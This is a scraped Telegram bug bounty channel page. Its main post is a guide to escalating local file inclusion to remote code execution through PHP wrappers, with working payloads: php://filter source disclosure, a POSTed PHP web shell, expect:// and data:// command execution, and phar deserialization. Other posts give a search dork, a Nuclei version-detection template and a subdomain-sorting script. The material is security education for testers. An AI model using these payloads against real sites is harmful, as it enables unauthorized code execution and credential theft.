es
Feedback
Bug bounty Tips

Bug bounty Tips

Ir al canal en Telegram

🛡️ Cybersecurity enthusiast | 💻 Helping secure the digital world | 🌐 Web App Tester | 🕵️‍♂️ OSINT Specialist Admin: @laazy_hack3r

Mostrar más
5 799
Suscriptores
+1424 horas
+777 días
+41130 días
Archivo de publicaciones
Spotlight on taiphung217: Five-Month Climb to Huntr Leaderboard Glory https://blog.huntr.com/spotlight-taiphung217-five-month-huntr-leaderboard-climb

Spotlight on taiphung217: Five-Month Climb to Huntr Leaderboard Glory https://blog.huntr.com/spotlight-taiphung217-five-month-huntr-leaderboard-climb

🚀 Exciting News for #InfoSec & #BugBounty! 🛡 ProxSec v1.0.0 is out—an open-source extension for security pros! 🔥 ✅ Proxy management ✅ Scope validation ✅ Program tracking ✅ Lightweight & private Open-Source : https://github.com/aacle/ProxSec Feedback welcome! 💬

🚀 Exciting News for #InfoSec & #BugBounty! 🛡 ProxSec v1.0.0 is out—an open-source extension for security pros! 🔥 ✅ Proxy management ✅ Scope validation ✅ Program tracking ✅ Lightweight & private Open-Source : https://github.com/aacle/ProxSec Feedback welcome! 💬

guys this is an updating blog of cipherops if u need anything you guys can go and check here if possible i would like to update 2vice in a week https://cipherops.gitbook.io/bug-bounty-notes

https://pocorexp.nsa.im lists all CVEs and public exploit

photo content

🔥 Mastering PHP Filters & Wrappers for LFI to RCE — FULL GUIDE ⚠️Most hackers stop at reading logs. The elite use PHP wrappers to turn LFI into remote code execution. This post is your all-in-one breakdown of how PHP wrappers work and how to exploit them like a pro. 👇 🎯 Why PHP Wrappers Matter in Bug Bounty
PHP provides built-in stream wrappers — special protocols to access I/O sources like files, memory, input/output streams, and even compressed/encrypted data.
As attackers, we can abuse these wrappers to: ✅ Read raw PHP source (even when .php is auto-appended) ✅ Bypass execution to leak secrets ✅ Chain into full RCE ✅ Abuse legacy or misconfigured server behavior Commonly used wrappers: ▶️ php://filter ▶️ php://input ▶️ php://memory ▶️ data:// ▶️ expect:// ▶️ zip:// ▶️ phar:// 🧬 Using php://filter for Source Code Disclosure This is the most useful wrapper for LFI. Payload:
php://filter/read=convert.base64-encode/resource=index
Why it works: ✅ read=convert.base64-encode prevents execution of the PHP code ✅ Base64 output = raw, readable source Example:
http://<IP>/index.php?file=php://filter/read=convert.base64-encode/resource=config
Decode result:
echo 'PD9waHAK...base64...' | base64 -d
Now you see source code, credentials, internal logic, API keys, etc. 🔧 Other Useful PHP Wrappers 1️⃣ php://input Reads raw POST data. Good for injecting code during file inclusions via POST.
<?php include('php://input'); ?>
Then POST:
POST /index.php
<?php system($_GET['cmd']); ?>
✅ Shell access via cmd parameter. 2️⃣ expect:// (if available) Allows direct execution of system commands.
include('expect://ls');
⚠️ Rare but deadly if enabled. 3️⃣ data:// Inline file input using base64 or plaintext. Example:
include('data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==');
🟡 Executes: system('whoami') 4️⃣ zip:// ✅ Targets ZIP files as file systems. ✅ Abuse via LFI to include malicious entries. Structure:
zip://path/to/archive.zip#file_inside.txt
Use this with file upload + LFI combo. 5️⃣ phar:// Deserializes metadata → use with Object Injection + LFI. Upload malicious PHAR:
phar://path/to/phar_file
If unserialize() is called on a phar wrapper, it can lead to RCE. 🔍 Fuzzing PHP Files Before Exploiting
ffuf -w /opt/seclists/.../directory-list.txt -u http://<IP>/FUZZ.php
Watch for: 200 → exists and renders 403/302 → access denied, but still includable via LFI 📁 Standard Inclusion vs. Filtered Inclusion Including via:
?file=config
🟡 Executes file, no output if file has no HTML. Using filter:
?file=php://filter/read=convert.base64-encode/resource=config
🟡 Returns base64 source code. 🧪 Decode & Analyze the Source Code
echo 'base64-encoded-content' | base64 -d
Look for: ✅ $db_password, $admin_pass ✅ API endpoints ✅ Sensitive routes ✅ Hardcoded JWT secrets or keys 💣 Advanced Chaining → From LFI to RCE Read source via php://filter Find upload paths or SSRF endpoints Upload malicious phar:// file Trigger inclusion → RCE This chain has been used in real-world bounty reports. 🧱 Defense Tips for Developers: - Disable allow_url_include, allow_url_fopen - Avoid dynamic include($_GET['page']) - Use strict whitelists - Harden php.ini configs - Monitor suspicious access patterns 🧠 Daily hacking insights 🛠 Payloads & Tools 🐞 Real bug bounty techniques ⚔️ Hands-on exploitation walkthroughs 👍 Like this post if it helped 🔁 Share to boost your hacker circle 🔗 Github link : github.com/cybersecplayground... #lfi #phpwrappers #bugbounty #phpfilters #rce #infosec #cybersecurity #webpentest #cybersecplayground

a simple dork that find every VDP in worl wide 😎 body="/responsible-disclosure" || body="/.well-known/security.txt") && port
a simple dork that find every VDP in worl wide 😎 body="/responsible-disclosure" || body="/.well-known/security.txt") && port="443" credit: http://x.com/darkshadow2bd

Nuclei template to find outdated software:
id: outdated-software-detectioninfo:
  name: Outdated Software Detection
  author: pentester_x
  severity: low
  description: |
    Detects outdated software versions by extracting version information from headers, scripts, and stylesheets.reference:
    - https://nvd.nist.gov/vuln/search
    - https://www.cvedetails.com
    - https://www.exploit-db.com
    - https://cve.mitre.orgtags: outdated,software,vulnerable,version,cverequests:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/version"
      - "{{BaseURL}}/status"
      - "{{BaseURL}}/server-info"
      - "{{BaseURL}}/api/version"
      - "{{BaseURL}}/v1/info"
      - "{{BaseURL}}/robots.txt"matchers:
      - type: regex
        part: header
        regex:
          - '(?i)(Server|X-Powered-By|Version):.*?(Apache|nginx|PHP|WordPress|Tomcat|MySQL)/(\d+\.\d+\.\d+)'
          - '(?i)(\b\d+\.\d+\.\d+\b)'extractors:
      - type: regex
        name: software_version
        group: 3
        part: header
        regex:
          - '(?i)(Server|X-Powered-By|Version):.*?(Apache|nginx|PHP|WordPress|Tomcat|MySQL)/(\d+\.\d+\.\d+)'
      - type: regex
        name: software_version
        regex:
          - '(?i)v?(?:ersion)?[\s:]*(\d+\.\d+\.\d+)'- method: GET
    path:
      - "{{BaseURL}}/static/main.js"
      - "{{BaseURL}}/css/styles.css"
      - "{{BaseURL}}/app/build.js"
      - "{{BaseURL}}/assets/scripts.js"matchers:
      - type: regex
        regex:
          - '(?i)v?\d+\.\d+\.\d+'
          - '@version\s+\d+\.\d+\.\d+'extractors:
      - type: regex
        name: software_version
        regex:
          - '(?i)v?(\d+\.\d+\.\d+)'
          - '@version\s+(\d+\.\d+\.\d+)'
#infosec#cybersecurity#bugbounty#pentest#bugbountyTips#JS#Nuclei

🔖Sorting subdomains into different files based on status code, server type, and vhosts.
cat domains.txt | httpx -server -vhost -sc > httpx-output.txt
Now, use the following awk script to categorize the results:
awk '{gsub(/\x1b\[[0-9;]*m/, ""); status=$2; gsub(/[\[\]]/, "", status); server=$3; gsub(/[\[\]]/, "", server); safe_server=server; gsub(/[^a-zA-Z0-9_-]/, "_", safe_server); main_server=server; sub(/\/.*/, "", main_server); gsub(/[^a-zA-Z0-9_-]/, "_", main_server); vhost=$4; gsub(/[\[\]]/, "", vhost); if (server=="") print > "server-not-specified.txt"; else {print > (safe_server ".txt"); print > (main_server ".txt");} if (vhost=="vhost") print > "vhost.txt";}' httpx-output.txt
#InfoSec#CyberSecurity#Hacking#httpx#bugbounty#bugbountytips#bugbountyTools🔹 Share & Support Us 🔹